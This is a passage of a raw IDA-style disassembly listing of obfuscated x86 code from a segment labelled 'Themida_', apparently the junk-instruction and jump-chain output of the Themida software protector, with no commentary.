loc_56B22C:				; CODE XREF: Themida_:0056B598j
		push	bp
		pop	bx
		jmp	loc_56C279
; ---------------------------------------------------------------------------


loc_56B235:				; CODE XREF: Themida_:0056B9CDj
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_568520
; ---------------------------------------------------------------------------


loc_56B249:				; CODE XREF: Themida_:005721D9j
		inc	edi
		push	3FC1h
		mov	[esp], ebp
		mov	ebp, 62AB277Ch
		and	edi, ebp
		pop	ebp
		or	edi, 544D05D9h
		jmp	loc_57238D
; ---------------------------------------------------------------------------


loc_56B265:				; CODE XREF: Themida_:00565802j
		add	bl, ch
		push	ecx
		mov	ch, 0C1h
		shl	ch, 4
		sub	ch, 7Bh
		add	ch, 1Fh
		inc	ch
		inc	ch
		sub	ch, 0EFh
		sub	bl, ch
		pop	ecx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_562BC2
; ---------------------------------------------------------------------------


loc_56B286:				; CODE XREF: Themida_:005745C5j
		add	esp, 4
		jmp	loc_5705FB
; ---------------------------------------------------------------------------


loc_56B291:				; CODE XREF: Themida_:0056DADAj
		mov	[esp], edi
		push	29CE0AF4h
		jmp	loc_5658BF
; ---------------------------------------------------------------------------


loc_56B29E:				; CODE XREF: Themida_:0056ACE5j
		push	edi
		mov	edi, 2A462485h
		inc	edi
		add	edi, 4ED2790Ah
		not	edi
		sub	edi, 81BA5485h
		jmp	loc_572809
; ---------------------------------------------------------------------------


loc_56B2B8:				; CODE XREF: Themida_:00564BBDj
		pop	ebx
		add	eax, ecx
		sub	eax, 38360871h
		pop	ecx
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		jmp	loc_56E834
; ---------------------------------------------------------------------------


loc_56B2D7:				; CODE XREF: Themida_:00572F90j
		pop	edi
		mov	ebx, 1601CF2h
		xor	ebx, 33C6A94h
		jmp	loc_56AF19
; ---------------------------------------------------------------------------


loc_56B2E8:				; CODE XREF: Themida_:0056EF85j
		pop	ecx
		add	al, bh
		jmp	loc_566143
; ---------------------------------------------------------------------------


loc_56B2F0:				; CODE XREF: Themida_:00561445j
		sub	ebp, ecx
		pop	ecx
		pop	edx
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_57050F
; ---------------------------------------------------------------------------


loc_56B2FF:				; CODE XREF: Themida_:0056868Aj
		mov	al, 88h
		inc	al
		add	al, 6Ah
		xor	ch, al
		pop	eax
		add	al, 90h
		sub	al, 36h
		sub	al, 1Dh
		jmp	loc_565CA0
; ---------------------------------------------------------------------------


loc_56B313:				; CODE XREF: Themida_:005745B4j
		mov	bl, 98h
		jmp	loc_56AA5E
; ---------------------------------------------------------------------------


loc_56B31A:				; CODE XREF: Themida_:00570161j
		mov	ecx, 1E2D149Fh
		jmp	loc_573FA4
; ---------------------------------------------------------------------------


loc_56B324:				; CODE XREF: Themida_:00566919j
		mov	[esp], ecx
		mov	cl, ah
		push	ebx
		mov	bh, cl
		jmp	loc_56384D
; ---------------------------------------------------------------------------


loc_56B331:				; CODE XREF: Themida_:005670C2j
		mov	[esp], esi
		jmp	loc_568A1C
; ---------------------------------------------------------------------------


loc_56B339:				; CODE XREF: Themida_:00570C81j
		not	eax
		xor	eax, 12425529h
		jmp	loc_56C803
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], ebx
		sub	esp, 4
		jmp	loc_568BBA
; ---------------------------------------------------------------------------


loc_56B35D:				; CODE XREF: Themida_:00563397j
		sub	eax, 77B479Eh
		add	eax, edi
		jmp	loc_564396
; ---------------------------------------------------------------------------


loc_56B369:				; CODE XREF: Themida_:0056D7E2j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		pop	ecx
		push	ecx
		mov	ecx, 2B342A93h
		shr	ecx, 8
		not	ecx
		inc	ecx
		jmp	loc_568ECC
; ---------------------------------------------------------------------------


loc_56B388:				; CODE XREF: Themida_:00560C35j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	ebp
		mov	ebp, 2
		add	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		dec	byte ptr [esp]
		pushf
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_56B3BE:				; CODE XREF: Themida_:00571D36j
		sub	ebx, 44835C04h
		jmp	loc_567EA3
; ---------------------------------------------------------------------------


loc_56B3C9:				; CODE XREF: Themida_:00573862j
		mov	[esp], esi
		push	esp
		pop	esi
		push	ebp
		push	edi
		mov	edi, 34E83CDFh
		sub	edi, 7E051389h
		add	edi, 2E66088h
		or	edi, 1A961B41h
		shl	edi, 3
		sub	edi, 0DEFCDEF4h
		mov	ebp, edi
		pop	edi
		add	esi, ebp
		pop	ebp
		push	edx
		jmp	loc_57338B
; ---------------------------------------------------------------------------


loc_56B3FC:				; CODE XREF: Themida_:00572CFEj
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		sub	edi, eax
		pop	eax
		jmp	locret_569C78
; ---------------------------------------------------------------------------


loc_56B411:				; CODE XREF: Themida_:0056B4DCj
		add	bl, al
		sub	bl, 0AFh
		push	4962h
		mov	[esp], ecx
		mov	cl, 0A6h
		sub	bl, 0FBh
		jmp	loc_56DBD3
; ---------------------------------------------------------------------------


loc_56B428:				; CODE XREF: Themida_:00572DE6j
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edi
		push	edx
		mov	edx, 1D686737h
		mov	edi, 1D68673Bh
		sub	edi, edx
		jmp	loc_566590
; ---------------------------------------------------------------------------


loc_56B441:				; CODE XREF: Themida_:00563571j
		push	ebx
		mov	ebx, 4
		jmp	loc_5689E5
; ---------------------------------------------------------------------------


loc_56B44C:				; CODE XREF: Themida_:0056001Bj
		mov	dl, 4
		push	ecx
		mov	cl, 64h
		mov	bl, cl
		pop	ecx
		add	bl, dl
		pop	edx
		jmp	loc_56BD75
; ---------------------------------------------------------------------------


loc_56B45C:				; CODE XREF: Themida_:005695A9j
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_56F0FF
; ---------------------------------------------------------------------------


loc_56B466:				; CODE XREF: Themida_:0056559Ej
		pop	edx
		jmp	loc_573D18
; ---------------------------------------------------------------------------


loc_56B46C:				; CODE XREF: Themida_:00567285j
		pop	eax
		jmp	loc_573548
; ---------------------------------------------------------------------------


loc_56B472:				; CODE XREF: Themida_:00565F11j
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		push	esp
		pop	ebx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_56ACA7
; ---------------------------------------------------------------------------


loc_56B490:				; CODE XREF: Themida_:005706F5j
		shl	edx, 5
		push	edx
		xchg	esi, [esp]
		jmp	loc_56E224
; ---------------------------------------------------------------------------


loc_56B49C:				; CODE XREF: Themida_:00567E4Bj
		sub	ax, 7638h
		add	ax, 684Ch
		sub	ax, 5DD7h
		pop	edx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		sub	ebp, ecx
		pop	ecx
		jmp	loc_563434
; ---------------------------------------------------------------------------


loc_56B4C0:				; CODE XREF: Themida_:00573A63j
		shr	ebp, 2
		dec	ebp
		or	ebp, 5BCD403Dh
		push	edx
		mov	edx, 18EC769Eh
		jmp	loc_56F80C
; ---------------------------------------------------------------------------


loc_56B4D5:				; CODE XREF: Themida_:00565EEFj
		pop	ebx
		add	bl, 0A6h
		add	bl, 0AFh
		jmp	loc_56B411
; ---------------------------------------------------------------------------


loc_56B4E1:				; CODE XREF: Themida_:00571CBCj
		push	edi
		mov	edi, 0
		sub	edi, ebp
		xchg	edi, ebp
		mov	edi, [esp]
		add	esp, 4
		shl	ebp, 1
		jmp	loc_562597
; ---------------------------------------------------------------------------


loc_56B4FB:				; CODE XREF: Themida_:00565645j
		push	esi
		not	dword ptr [esp]
		jmp	loc_56D130
; ---------------------------------------------------------------------------


loc_56B504:				; CODE XREF: Themida_:0056E438j
		neg	ebp
		xor	ebp, 0D3672BD7h
		sub	edi, ebp
		jmp	loc_565F85
; ---------------------------------------------------------------------------


loc_56B513:				; CODE XREF: Themida_:0056736Bj
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_56B518:				; CODE XREF: Themida_:005660A5j
		mov	[esp], eax
		mov	eax, 1BE0D5DEh
		add	edi, 6C0069FAh
		sub	edi, eax
		push	edx
		mov	edx, 6C0069FAh
		sub	edi, edx
		pop	edx
		pop	eax
		xor	eax, edi
		jmp	loc_56358A
; ---------------------------------------------------------------------------


loc_56B539:				; CODE XREF: Themida_:00572A97j
		mov	ebp, edi
		jmp	loc_56CC18
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	[esp], ax
		pushf
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_56B550:				; CODE XREF: Themida_:0056A57Fj
		ror	byte ptr [esp],	cl
		pushf
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_56B559:				; CODE XREF: Themida_:00569B87j
		mov	esi, 32487730h
		add	esi, 17F47083h
		and	esi, 6CFD3553h
		jmp	loc_564B44
; ---------------------------------------------------------------------------


loc_56B56F:				; CODE XREF: Themida_:0056AE6Aj
		mov	esi, 333B74EBh
		sub	eax, esi
		jmp	loc_56B0DB
; ---------------------------------------------------------------------------


loc_56B57B:				; CODE XREF: Themida_:00565324j
		mov	ecx, 7BB16965h
		sub	ecx, 5A38345Dh
		sub	ecx, 0FFFFFFFFh
		push	esi
		jmp	loc_569F4D
; ---------------------------------------------------------------------------


loc_56B592:				; CODE XREF: Themida_:0057200Aj
		pop	bp
		pop	dx
		push	bx
		jmp	loc_56B22C
; ---------------------------------------------------------------------------


loc_56B59D:				; CODE XREF: Themida_:00565B41j
		add	ebx, eax
		pop	eax
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	0F3h
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	6FEDh
		jmp	loc_57036E
; ---------------------------------------------------------------------------


loc_56B5CB:				; CODE XREF: Themida_:00561A06j
		shl	esi, 8
		xor	esi, 8E01342h
		jmp	loc_56D760
; ---------------------------------------------------------------------------


loc_56B5D9:				; CODE XREF: Themida_:0056EFB5j
		push	dx
		jmp	loc_5736FF
; ---------------------------------------------------------------------------


loc_56B5E0:				; CODE XREF: Themida_:00569217j
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_55F723
; ---------------------------------------------------------------------------


loc_56B5F2:				; CODE XREF: Themida_:00560091j
		mov	eax, esp
		add	eax, 4
		push	edx
		jmp	loc_56602B
; ---------------------------------------------------------------------------


loc_56B5FF:				; CODE XREF: Themida_:00570E83j
		sub	edx, edi
		jmp	loc_5640F2
; ---------------------------------------------------------------------------


loc_56B606:				; CODE XREF: Themida_:00569679j
		pop	eax
		add	ebx, eax
		jmp	loc_561A61
; ---------------------------------------------------------------------------


loc_56B60E:				; CODE XREF: Themida_:0057212Bj
		inc	ecx
		push	eax
		push	ebx
		push	ecx
		mov	ecx, 69660CFh
		xchg	ebp, ecx
		not	ebp
		xchg	ebp, ecx
		and	ecx, 521C7E34h
		inc	ecx
		jmp	loc_56DEED
; ---------------------------------------------------------------------------


loc_56B629:				; CODE XREF: Themida_:005668F0j
		push	2854h
		mov	[esp], edi
		mov	edi, 15CE357Bh
		jmp	loc_5653CC
; ---------------------------------------------------------------------------


loc_56B63B:				; CODE XREF: Themida_:00566DDBj
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 5E0B700Dh
		jmp	loc_567811
; ---------------------------------------------------------------------------


loc_56B64C:				; CODE XREF: Themida_:005666DFj
		push	esi
		mov	esi, 6F601204h
		or	esi, 73434A39h
		jmp	loc_5728D6
; ---------------------------------------------------------------------------


loc_56B65D:				; CODE XREF: Themida_:0056F342j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		push	9F4h
		mov	[esp], esi
		mov	esi, 4
		add	[esp+4], esi
		pop	esi
		pop	ebp
		push	5367h
		mov	[esp], edi
		jmp	loc_5649CC
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_56A2DE
; ---------------------------------------------------------------------------


loc_56B693:				; CODE XREF: Themida_:00560A60j
		mov	di, 4BF9h
		jmp	loc_565958
; ---------------------------------------------------------------------------


loc_56B69C:				; CODE XREF: Themida_:0056C625j
		push	ebx
		mov	ebx, 776C2507h
		add	esi, ebx
		pop	ebx
		jmp	loc_563782
; ---------------------------------------------------------------------------


loc_56B6AA:				; CODE XREF: Themida_:0056FB61j
		sub	dword ptr [esp+4], 77BC712Ah
		mov	eax, [esp]
		jmp	loc_5738C0
; ---------------------------------------------------------------------------


loc_56B6BA:				; CODE XREF: Themida_:0056A797j
		push	ecx
		push	ebx
		jmp	loc_5607E7
; ---------------------------------------------------------------------------


loc_56B6C1:				; CODE XREF: Themida_:005736D0j
		mov	edx, 95BF4A36h
		add	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_56A181
; ---------------------------------------------------------------------------


loc_56B6D3:				; CODE XREF: Themida_:0055FDB1j
		mov	dl, bl
		pop	ebx
		jmp	loc_560673
; ---------------------------------------------------------------------------


loc_56B6DB:				; CODE XREF: Themida_:0057062Bj
		mov	ebx, 36667B4h
		or	ebx, 8933308h
		push	ebp
		mov	ebp, 74AA318Eh
		jmp	loc_564277
; ---------------------------------------------------------------------------


loc_56B6F1:				; CODE XREF: Themida_:0056E40Dj
		push	ecx
		mov	ecx, esp
		jmp	loc_56F22B
; ---------------------------------------------------------------------------


loc_56B6F9:				; CODE XREF: Themida_:00565F18j
		add	dl, ch
		pop	cx
		add	al, 2Dh
		add	al, dl
		sub	al, 2Dh
		pop	dx
		push	small 0C10h
		jmp	loc_56EDA2
; ---------------------------------------------------------------------------


loc_56B70E:				; CODE XREF: Themida_:005674F8j
		mov	[esp], esp
		jmp	loc_5657A7
; ---------------------------------------------------------------------------


loc_56B716:				; CODE XREF: Themida_:005696B6j
		mov	eax, [esp]
		jmp	loc_57245A
; ---------------------------------------------------------------------------


loc_56B71E:				; CODE XREF: Themida_:00562766j
		add	dl, 0F8h
		sub	cl, dl
		jmp	loc_570311
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		jmp	loc_5713A5
; ---------------------------------------------------------------------------


loc_56B734:				; CODE XREF: Themida_:005668A6j
		xor	ecx, 3587F3Ah
		mov	eax, 0D403E395h
		jmp	loc_5700A2
; ---------------------------------------------------------------------------


loc_56B744:				; CODE XREF: Themida_:0056425Cj
		shl	edx, 5
		neg	edx
		push	edx
		not	dword ptr [esp]
		pop	edx
		neg	edx
		jmp	loc_574250
; ---------------------------------------------------------------------------


loc_56B755:				; CODE XREF: Themida_:00568233j
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_56B760:				; CODE XREF: Themida_:00572001j
		mov	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		push	4BB7h
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_573D47
; ---------------------------------------------------------------------------


loc_56B775:				; CODE XREF: Themida_:0056F1BCj
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_566AD1
; ---------------------------------------------------------------------------


loc_56B784:				; CODE XREF: Themida_:005714DAj
		add	esp, 4
		push	edi
		push	esi
		mov	esi, 3FA04305h
		jmp	loc_5632A6
; ---------------------------------------------------------------------------


loc_56B793:				; CODE XREF: Themida_:00563DB3j
		add	esp, 4
		jmp	loc_56B04B
; ---------------------------------------------------------------------------


loc_56B79B:				; CODE XREF: Themida_:005690B4j
		mov	esp, [esp]
		mov	[esp], ebp
		push	1C40h
		mov	[esp], esp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 4
		jmp	loc_5710AD
; ---------------------------------------------------------------------------


loc_56B7C9:				; CODE XREF: Themida_:005660DBj
		or	dh, 6Dh
		sub	dh, 1Dh
		push	ecx
		mov	ch, 0EAh
		push	ebx
		mov	bh, 42h
		xor	ch, bh
		jmp	loc_565D4E
; ---------------------------------------------------------------------------


loc_56B7DC:				; CODE XREF: Themida_:00561C43j
		push	ebx
		jmp	loc_56CBCF
; ---------------------------------------------------------------------------


loc_56B7E2:				; CODE XREF: Themida_:00568392j
		sub	esi, 115E1856h
		jmp	loc_56BD5E
; ---------------------------------------------------------------------------


loc_56B7ED:				; CODE XREF: Themida_:005618D2j
		pop	esi
		add	ecx, ebx
		pop	ebx
		push	edi
		jmp	loc_56B078
; ---------------------------------------------------------------------------


loc_56B7F7:				; CODE XREF: Themida_:00571BCBj
		sub	ecx, 14FE713Ah
		add	edx, 6AC147DDh
		add	edx, ecx
		sub	edx, 6AC147DDh
		pop	ecx
		sub	edx, eax
		push	17BCh
		mov	[esp], edi
		mov	edi, 92432FAh
		jmp	loc_5677A4
; ---------------------------------------------------------------------------


loc_56B820:				; CODE XREF: Themida_:0056887Cj
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 6CA27831h
		jmp	loc_56FB06
; ---------------------------------------------------------------------------


loc_56B833:				; CODE XREF: Themida_:005646AAj
		add	esp, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_56B84D:				; CODE XREF: Themida_:0056CCCAj
		push	edi
		push	eax
		mov	eax, 5E31435Ch
		jmp	loc_572FF3
; ---------------------------------------------------------------------------


loc_56B859:				; CODE XREF: Themida_:00568D84j
		mov	si, 1
		sub	dx, 7AE6h
		sub	dx, si
		jmp	loc_56E4E8
; ---------------------------------------------------------------------------


loc_56B86A:				; CODE XREF: Themida_:00562F80j
		pop	ebx
		push	ebx
		push	esp
		pop	ebx
		push	eax
		push	665Ah
		mov	[esp], ecx
		mov	ecx, 70AD596Ah
		or	ecx, 1A40590Ah
		push	edi
		mov	edi, 0EDA5841h
		jmp	loc_560764
; ---------------------------------------------------------------------------


loc_56B88D:				; CODE XREF: Themida_:0056C712j
		mov	[esp], edi
		push	6DBDh
		jmp	loc_569204
; ---------------------------------------------------------------------------
		movzx	ax, byte ptr fs:[edx]
		push	small 53AAh
		mov	[esp], ax
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_56B8AC:				; CODE XREF: Themida_:00566D9Bj
		pop	edi
		jmp	loc_572E00
; ---------------------------------------------------------------------------


loc_56B8B2:				; CODE XREF: Themida_:005708B3j
		pop	esi
		jmp	loc_56861C
; ---------------------------------------------------------------------------


loc_56B8B8:				; CODE XREF: Themida_:00562D2Bj
		add	esp, 4
		jmp	loc_5727E2
; ---------------------------------------------------------------------------


loc_56B8C3:				; CODE XREF: Themida_:00572222j
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_56A198
; ---------------------------------------------------------------------------


loc_56B8CE:				; CODE XREF: Themida_:00570E67j
		add	ecx, eax
		jmp	loc_568821
; ---------------------------------------------------------------------------


loc_56B8D5:				; CODE XREF: Themida_:0055F619j
		mov	edi, [esp]
		add	esp, 4
		sub	edx, 2DE4B6Eh
		add	edx, edi
		add	edx, 2DE4B6Eh
		jmp	loc_567CB3
; ---------------------------------------------------------------------------


loc_56B8EE:				; CODE XREF: Themida_:00566C76j
		add	esi, 0FFFFFFFFh
		push	edi
		mov	edi, 1CA2AE37h
		sub	esi, edi
		pop	edi
		add	ebx, esi
		pop	esi
		sub	ebx, 4
		xor	ebx, [esp]
		jmp	loc_561206
; ---------------------------------------------------------------------------


loc_56B90B:				; CODE XREF: Themida_:0055FC0Ej
		xchg	edi, [esp]
		pop	esp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, esp
		push	7983h
		mov	[esp], edx
		jmp	loc_56C68C
; ---------------------------------------------------------------------------


loc_56B934:				; CODE XREF: Themida_:0056A5CFj
		mov	edx, ebx
		pop	ebx
		jmp	loc_574387
; ---------------------------------------------------------------------------


loc_56B93C:				; CODE XREF: Themida_:0056BF89j
		sub	ecx, 3A0965A2h
		add	ecx, 0CFA8DC38h
		jmp	loc_570472
; ---------------------------------------------------------------------------


loc_56B94D:				; CODE XREF: Themida_:0056E340j
		add	edx, 1
		or	edx, 61683B45h
		neg	edx
		push	286Dh
		mov	[esp], ebp
		jmp	loc_5636B1
; ---------------------------------------------------------------------------


loc_56B965:				; CODE XREF: Themida_:0056EDB3j
		and	edi, 57785D72h
		xor	edi, 4B6911E9h
		sub	edi, 5D32677Bh
		push	edx
		mov	edx, 4FD87221h
		sub	edx, 0DF71FB65h
		add	edi, edx
		pop	edx
		mov	ecx, edi
		pop	edi
		push	esi
		mov	esi, 0E871D0Ch
		sub	esp, 4
		jmp	loc_572FCC
; ---------------------------------------------------------------------------


loc_56B997:				; CODE XREF: Themida_:0055FA7Cj
		add	eax, edi
		sub	eax, 7357225Ch
		pop	edi
		add	ebx, 5C335D1Bh
		push	2CAEh
		mov	[esp], edi
		mov	edi, 664A5B89h
		push	esi
		jmp	loc_570DE7
; ---------------------------------------------------------------------------


loc_56B9B8:				; CODE XREF: Themida_:00571B29j
		mov	[esp], edx
		mov	edx, 4
		add	[esp+4], edx
		jmp	loc_5688FF
; ---------------------------------------------------------------------------


loc_56B9C9:				; CODE XREF: Themida_:00569BB1j
		pop	ebx
		push	esi
		mov	esi, esp
		jmp	loc_56B235
; ---------------------------------------------------------------------------


loc_56B9D2:				; CODE XREF: Themida_:005601CCj
		mov	edi, 4
		push	ebp
		mov	ebp, 2CA34554h
		xor	ebp, 67094862h
		shl	ebp, 3
		not	ebp
		jmp	loc_5721F2
; ---------------------------------------------------------------------------


loc_56B9ED:				; CODE XREF: Themida_:0056F9A5j
		xchg	edi, [esp]
		pop	esp
		jmp	loc_569FAD
; ---------------------------------------------------------------------------


loc_56B9F6:				; CODE XREF: Themida_:0056C5FBj
		pop	esi
		sub	edx, 684E20F0h
		add	edx, 4E213FE1h
		add	edx, ebx
		jmp	loc_56D8CC
; ---------------------------------------------------------------------------


loc_56BA0A:				; CODE XREF: Themida_:0055FDEAj
		xchg	esi, [esp]
		pop	esp
		push	2515h
		mov	[esp], esi
		mov	esi, 69991245h
		jmp	loc_5668CA
; ---------------------------------------------------------------------------


loc_56BA20:				; CODE XREF: Themida_:00563659j
		add	esp, 4
		jmp	loc_56723D
; ---------------------------------------------------------------------------


loc_56BA28:				; CODE XREF: Themida_:0056C415j
		mov	[esp], ebx
		mov	bh, 4Fh
		jmp	loc_56D006
; ---------------------------------------------------------------------------


loc_56BA32:				; CODE XREF: Themida_:00562253j
		mov	ebx, 389B24E0h
		inc	ebx
		shl	ebx, 1
		shl	ebx, 4
		sub	ebx, 0FF698DCEh
		sub	ebp, ebx
		mov	ebx, [esp]
		jmp	loc_561062
; ---------------------------------------------------------------------------


loc_56BA4D:				; CODE XREF: Themida_:0057102Bj
		push	ebp
		push	eax
		push	7C190E2Fh
		pop	eax
		shl	eax, 8
		neg	eax
		not	eax
		jmp	loc_564FB6
; ---------------------------------------------------------------------------


loc_56BA61:				; CODE XREF: Themida_:0056D8A0j
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 1896597Ah
		push	ebx
		add	dword ptr [esp], 0A205DB0h
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_572CD5
; ---------------------------------------------------------------------------


loc_56BA88:				; CODE XREF: Themida_:00562A82j
		push	esp
		pop	ebx
		jmp	loc_563A44
; ---------------------------------------------------------------------------


loc_56BA8F:				; CODE XREF: Themida_:005698A9j
		neg	eax
		jmp	loc_56C583
; ---------------------------------------------------------------------------


loc_56BA96:				; CODE XREF: Themida_:00561EA6j
		push	eax
		mov	eax, 546125EBh
		shl	eax, 8
		not	eax
		dec	eax
		sub	eax, 9EDA14FAh
		add	edi, 4B017503h
		add	edi, eax
		sub	edi, 4B017503h
		pop	eax
		xchg	edi, [esp]
		pop	esp
		add	dword ptr [edx+38h], 0D7BFFD1Fh


loc_56BAC1:				; CODE XREF: Themida_:005744F8j
		push	ebp
		push	6EADh
		mov	[esp], esi
		push	58B36FCAh
		mov	esi, [esp]
		add	esp, 4
		push	eax
		mov	eax, 69B81E32h
		or	esi, eax
		pop	eax
		jmp	loc_567F6A
; ---------------------------------------------------------------------------


loc_56BAE3:				; CODE XREF: Themida_:00572E4Cj
		push	esp
		pop	esi
		sub	esp, 4
		jmp	loc_56E88A
; ---------------------------------------------------------------------------


loc_56BAF0:				; CODE XREF: Themida_:00562F5Aj
		mov	ecx, 4EEA54D4h
		mov	edx, 0CBABE868h
		xor	edx, ecx
		jmp	loc_56F2C0
; ---------------------------------------------------------------------------


loc_56BB01:				; CODE XREF: Themida_:0056DE37j
		push	7151h
		mov	[esp], edx
		push	esp
		pop	edx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		mov	[esp], ebx
		push	2905477Eh
		pop	ebx
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_56A818
; ---------------------------------------------------------------------------
		lodsd
		push	ebx
		jmp	loc_568C9B
; ---------------------------------------------------------------------------


loc_56BB4A:				; CODE XREF: Themida_:00570F7Cj
		mov	[esp], ecx
		mov	ch, 0E8h
		jmp	loc_56A5DE
; ---------------------------------------------------------------------------


loc_56BB54:				; CODE XREF: Themida_:00560846j
		add	bl, ah
		sub	bl, 25h
		jmp	loc_56283A
; ---------------------------------------------------------------------------


loc_56BB5E:				; CODE XREF: Themida_:00572B02j
		sub	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 70365967h
		sub	esp, 4
		jmp	loc_56E054
; ---------------------------------------------------------------------------


loc_56BB7E:				; CODE XREF: Themida_:0056E99Bj
		mov	ebx, [esp]
		add	esp, 4
		sub	eax, 7E8A6151h
		add	eax, esi
		add	eax, 7E8A6151h
		push	dword ptr [esp]
		pop	esi
		jmp	loc_5624E6
; ---------------------------------------------------------------------------


loc_56BB99:				; CODE XREF: Themida_:00566E29j
		mov	[esp], ebp
		jmp	loc_56FBA4
; ---------------------------------------------------------------------------


loc_56BBA1:				; CODE XREF: Themida_:0056379Dj
		push	esi
		pop	ebx
		mov	esi, [esp]
		jmp	loc_568343
; ---------------------------------------------------------------------------


loc_56BBAB:				; CODE XREF: Themida_:005657A2j
		mov	ebp, 5B8E417Bh
		jmp	loc_566A6F
; ---------------------------------------------------------------------------


loc_56BBB5:				; CODE XREF: Themida_:00574382j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_563082
; ---------------------------------------------------------------------------


loc_56BBC1:				; CODE XREF: Themida_:0056D16Aj
		mov	edx, 73310BB7h
		sub	edx, 561D599Ch
		and	edx, 317E7054h
		push	edi
		mov	edi, 0
		sub	edi, edx
		jmp	loc_569772
; ---------------------------------------------------------------------------


loc_56BBDF:				; CODE XREF: Themida_:00568119j
		mov	edi, 37F1CEEh
		jmp	loc_571E69
; ---------------------------------------------------------------------------


loc_56BBE9:				; CODE XREF: Themida_:0056F3E6j
		xor	edx, [esp]
		mov	esp, [esp]
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_568CA5
; ---------------------------------------------------------------------------


loc_56BBF9:				; CODE XREF: Themida_:0056D7F2j
		mov	ebx, [esp]
		add	esp, 4
		mov	eax, esi
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	esi
		push	edx
		push	1D0328A7h
		jmp	loc_56E13D
; ---------------------------------------------------------------------------


loc_56BC20:				; CODE XREF: Themida_:00570C6Bj
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		mov	[esp], eax
		push	ebp
		push	5BCB3C13h
		jmp	loc_56E6BF
; ---------------------------------------------------------------------------


loc_56BC35:				; CODE XREF: Themida_:0056349Dj
		add	ebp, 54693428h
		xor	edi, ebp
		pop	ebp
		jmp	loc_5674E8
; ---------------------------------------------------------------------------


loc_56BC43:				; CODE XREF: Themida_:0056EAABj
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 4
		add	ebp, edx
		jmp	loc_5617F2
; ---------------------------------------------------------------------------


loc_56BC56:				; CODE XREF: Themida_:005715D2j
		pop	esp
		jmp	loc_56F51F
; ---------------------------------------------------------------------------


loc_56BC5C:				; CODE XREF: Themida_:0056DEB4j
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_572039
; ---------------------------------------------------------------------------


loc_56BC66:				; CODE XREF: Themida_:0056F5B4j
		add	edi, 106D4675h
		sub	edi, ebp
		push	ebp
		push	esi
		mov	esi, 27A97D0Ah
		jmp	loc_56FB8A
; ---------------------------------------------------------------------------


loc_56BC7A:				; CODE XREF: Themida_:0056EF65j
		mov	ecx, 68E05D8h
		jmp	loc_5682C3
; ---------------------------------------------------------------------------


loc_56BC84:				; CODE XREF: Themida_:00567BA8j
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
